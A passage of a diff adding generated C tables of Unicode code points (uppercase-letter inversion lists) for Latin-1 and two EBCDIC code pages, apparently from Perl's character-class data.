+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LU_invlist[] = { /* for EBCDIC 1047 */
+	1273,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1FB8,
+	0x1FBC,
+	0x1FC8,
+	0x1FCC,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFC,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2183,
+	0x2184,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LU_invlist[] = { /* for EBCDIC 037 */
+	1269,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
